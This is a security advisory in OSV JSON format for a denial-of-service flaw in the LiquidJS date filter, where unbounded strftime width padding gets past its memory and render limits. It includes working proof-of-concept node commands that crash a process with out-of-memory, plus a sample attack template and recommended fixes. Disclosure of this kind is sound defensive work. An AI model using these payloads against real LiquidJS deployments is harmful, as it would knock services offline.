CVE-2026-45357: Liquidjs LiquidJS Has A Memory And Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-hh27-hf48-9f5q",
  "modified" : "2026-07-09T21:06:30Z",
  "published" : "2026-05-27T17:33:52Z",
  "aliases" : [ "CVE-2026-45357" ],
  "summary" : "LiquidJS has a memory and render limit bypass via unbounded width padding in `date` filter (strftime)",
  "details" : "## Summary\n\nThe `date` filter's strftime implementation parses width specifiers like `%9999999d` and forwards the captured width unchecked into `pad()`/`padStart()` in `src/util/underscore.ts`. The pad loop performs unbounded string concatenation without consulting the Context's `memoryLimit` or `renderLimit`, so a single small template (`{{ x | date: '%5000000d' }}`) produces megabytes of output and unbounded CPU. The `memoryLimit` and `renderLimit` options the docs (`src/liquid-options.ts:87-92`) advertise as DoS controls — and which the docstring explicitly mentions for `strftime` — are entirely bypassed.\n\n## Details\n\n`date.ts:5-13` only charges `memoryLimit` for the lengths of the input value, format string, and timezone:\n\n```ts\nexport function date (this: FilterImpl, v: string | Date, format?: string, timezoneOffset?: number | string) {\n  const size = ((v as string)?.length ?? 0) + (format?.length ?? 0) + ((timezoneOffset as string)?.length ?? 0)\n  this.context.memoryLimit.use(size)\n  ...\n  return strftime(date, format)\n}\n```\n\n`strftime` (`src/util/strftime.ts:121`) then walks the format with `rFormat = /%([-_0^#:]+)?(\\d+)?([EO])?(.)/`. The captured `width` group is passed directly to `padStart`:\n\n```ts\nfunction format (d, match) {\n  const [input, flagStr = '', width, modifier, conversion] = match\n  ...\n  let padWidth = width || padWidths[conversion] || 0\n  ...\n  return padStart(ret, padWidth, padChar)   // strftime.ts:147\n}\n```\n\n`padStart` calls `pad()` in `src/util/underscore.ts:153`:\n\n```ts\nexport function pad (str, length, ch, add) {\n  str = String(str)\n  let n = length - str.length\n  while (n-- > 0) str = add(str, ch)   // unbounded loop\n  return str\n}\n```\n\nThe loop has no upper bound and never consults `this.context.memoryLimit` or `renderLimit`. The pad is also implemented as repeated `ch + str` string concatenation, which makes the per-byte cost grow with output length and amplifies CPU consumption.\n\nFilter arguments accept context-evaluated values (`src/template/filter.ts:30-31`, `evalToken(arg, context)`), so any deployment that passes a context value as the date format — a documented and tested usage pattern — exposes the sink to attacker-controlled input.\n\nThis is a separate sink from the previously-reported quadratic `replace` finding: a different filter (`date`), a different parser (the strftime width regex), and a different concatenation site (`pad()` in `underscore.ts`).\n\n## PoC\n\nSetup: `npm install liquidjs@10.25.7`.\n\nStep 1 — bypass `memoryLimit` and `renderLimit` (5 MB output, ~200 ms, both limits set to 50):\n\n```bash\nnode -e \"\nconst { Liquid } = require('liquidjs');\nconst liquid = new Liquid({ memoryLimit: 50, renderLimit: 50 });\nconst t0 = Date.now();\nconst out = liquid.parseAndRenderSync('{{ d | date: f }}', { d: 'now', f: '%5000000d' });\nconsole.log('len=', out.length, 'ms=', Date.now()-t0);\n\"\n```\n\nVerified output: `len= 5000000 ms= 198`. The `memoryLimit:50` (50-byte budget) and `renderLimit:50` (50 ms budget) are both ignored.\n\nStep 2 — OOM-kill the Node process under a 200 MB heap cap:\n\n```bash\nnode --max-old-space-size=200 -e \"\nconst { Liquid } = require('liquidjs');\nconst liquid = new Liquid({ memoryLimit: 50, renderLimit: 50 });\nliquid.parseAndRenderSync('{{ d | date: f }}', { d: 'now', f: '%99999999d' });\n\"\n```\n\nVerified output: `FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory`. Process is killed.\n\nThe realistic attack template is `{{ post.created_at | date: user_supplied_format }}`, where `user_supplied_format` is any context value an attacker can influence (profile field, query param mapped into template context, etc.).\n\n## Impact\n\n- DoS against any LiquidJS-rendered surface where a context value reaches the `date` filter's format argument: a single render call can be turned into multi-MB allocations and seconds of CPU per request, or into an OOM that crashes the host process.\n- Bypass of the engine's two documented DoS controls — `memoryLimit` and `renderLimit` — meaning that operators who explicitly opted into DoS protection still have no defense for this code path.\n- All `date_to_xmlschema`, `date_to_rfc822`, `date_to_string`, `date_to_long_string` paths share the same sink via `strftime`, but with hard-coded formats they're not directly attacker-controllable; the user-facing risk is on `date`.\n\n## Recommended Fix\n\nTwo complementary fixes:\n\n1. Have `pad()` in `src/util/underscore.ts` charge the Context's memory limit and use `String.prototype.repeat` instead of an O(n) concatenation loop. Since `pad()` is generic, the simplest version takes the memory limit as a parameter:\n\n```ts\nexport function pad (str: any, length: number, ch: string, add: (str: string, ch: string) => string) {\n  str = String(str)\n  const n = length - str.length\n  if (n <= 0) return str\n  return add === ((s, c) => c + s)\n    ? ch.repeat(n) + str\n    : str + ch.repeat(n)\n}\n```\n\n2. Cap `padWidth` in `src/util/strftime.ts:141` and account for it via `memoryLimit`. The `date` filter (`src/filters/date.ts`) should also charge `this.context.memoryLimit.use(parsedMaxWidth)` before invoking `strftime`, e.g. by scanning the format for `%(\\d+)` widths and summing them. A conservative cap (e.g. `Math.min(width, 1024)` for non-`N` conversions) is also reasonable — strftime widths beyond a few dozen characters have no legitimate use.\n\nBoth fixes are needed: the cap stops the OOM crash, the memory accounting restores the documented DoS guarantee.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "liquidjs"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "10.25.7"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/harttle/liquidjs/security/advisories/GHSA-hh27-hf48-9f5q"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-45357"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/harttle/liquidjs/commit/3129d46dc95efa357b00e5a57ee1af80a13d72ed"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/harttle/liquidjs"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/harttle/liquidjs/releases/tag/v10.26.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-400" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-27T17:33:52Z",
    "nvd_published_at" : "2026-06-17T23:17:03Z"
  }
}